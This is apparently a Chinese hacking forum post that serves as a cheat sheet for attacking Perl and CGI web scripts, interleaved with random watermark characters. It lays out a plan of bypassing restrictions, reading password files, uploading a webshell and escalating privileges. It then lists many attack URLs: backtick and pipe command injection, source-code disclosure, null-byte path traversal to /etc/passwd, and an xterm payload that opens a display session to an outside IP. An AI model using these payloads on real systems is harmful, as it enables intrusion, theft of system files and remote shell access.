总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 & d$ D6 A1 t1 G) q
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ' f# Y: Y$ [+ R. {9 j3 ?" b
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 4 x/ h' F7 u* b8 ]( d5 K
注“ 4 x8 M Z/ f. a8 @% E+ S3 h' i9 u
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ; Q8 T$ ?/ l3 u7 D" u
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
, O9 W4 y3 b+ |7 E& z4 A# C+ [" M1 }+ J7 `+ g* y1 S& Y7 m) Q- |
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 7 P6 y! W9 E/ s j7 c# Q. o
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
6 U/ s4 V) S/ w3 f0 dhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
* z: L7 n- T. Y, E4 n) i, l7 xhttp://target.com/cgi-bin/home/news/sub.pl?`id` & H) K, V: Y6 S7 q- Q
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 5 Q9 }1 f+ Q$ P3 g r/ o
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
6 @! R' k7 w/ H- T. \+ a) P s& [9 l4 o$ ~, v6 n
http://target.com/test.pl;ls|
; m* p& O* [6 i3 Z/ l' ^http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
& @" m& @4 n# b v% B7 e; R" fhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
?( T0 g# q4 p0 Y5 nhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
5 o1 z! X5 n# X. P: s# {; W比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 , ~1 k: @0 t7 U7 H
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
; B% Z6 |" g( Y& _6 E
1 E+ W+ _. B# p7 p4 U( J/ E9 |http://target.com/test.pl?&........ /../../etc/passwd x% A3 y" ?. e' _9 r! j/ {2 S
" }! V; h2 e* r4 d
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
8 d7 e$ Q$ \4 c9 Y) Yhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
8 K; N+ G( w$ Y! Q) S/ {3 Ihttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
4 ]' A0 K) h4 f' q* e9 F
`* F; w0 _) C! {, chttp://www.target.org/show.php?f ... /include/config.php 查看php代码
% q/ Q2 j K. G- N6 K o0 l$ R5 s( Ahttp://www.target.org/show.php?f ... ng/admin/global.php ) D( f1 Z, x# A# @ I- c
& T8 a! h! p+ ~6 m
emm和ps的一句话" d! P: g* ^: ^* w
/ T% X) s8 Y* B/ k b# K1 [http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
! }. J$ n4 |+ I. E, R5 ]! t
" r/ \) ]9 ^$ I+ x>bbb%20|
" g1 m, z) f9 `; Q' g# T, z3 O- y. f
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
9 o0 V. ~8 D. F) M7 L0 l0 {' {& Y: B6 x+ Q
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
3 t* B) {3 K, h) ~/ vhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin . }' R) g3 h O" ?* ]- B
: U5 G, u6 J# d
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 / @2 ?' g9 r* h) b; {) w
http://target.com/index.html#cmd.exe 3 z) u- K. R, y8 D. G) ~7 a4 l
http://target.com/index.html?dummyparam=xp_cmdshell ; N# R: ]1 x& C# t# A& g' `
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
0 u5 c1 b0 S N* v* [$ K e |